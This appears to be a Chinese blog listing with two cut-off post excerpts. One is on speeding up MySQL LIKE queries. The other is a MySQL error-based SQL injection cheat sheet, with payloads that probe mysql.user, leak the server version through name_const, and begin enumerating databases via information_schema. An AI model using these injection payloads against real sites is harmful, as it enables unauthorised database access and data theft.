蜗居

在使用msyql进行模糊查询的时候，很自然的会用到like语句，通常情况下，在数据量小的时候，不容易看出查询的效率，但在数据量达到百万级，千万级的时候，查询的效率就很容易显现出来。这个时候查询的效率就显得很重要！ 一般情况下like模糊查询的写法为（field已建立索引）： SELECT column FROM table WHERE field like ‘%keyword%’; 上面的语句用explain解释来看，SQL语...

 MYSQL高级报错注入     and (select count(*) from mysql.user)>0/*     1、查看MYSQL版本     and+exists(select*from+(select*from(select+name_const(@@version,0))a+join(select+name_const(@@version,0))b)c)     2、爆所有库     and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM infor...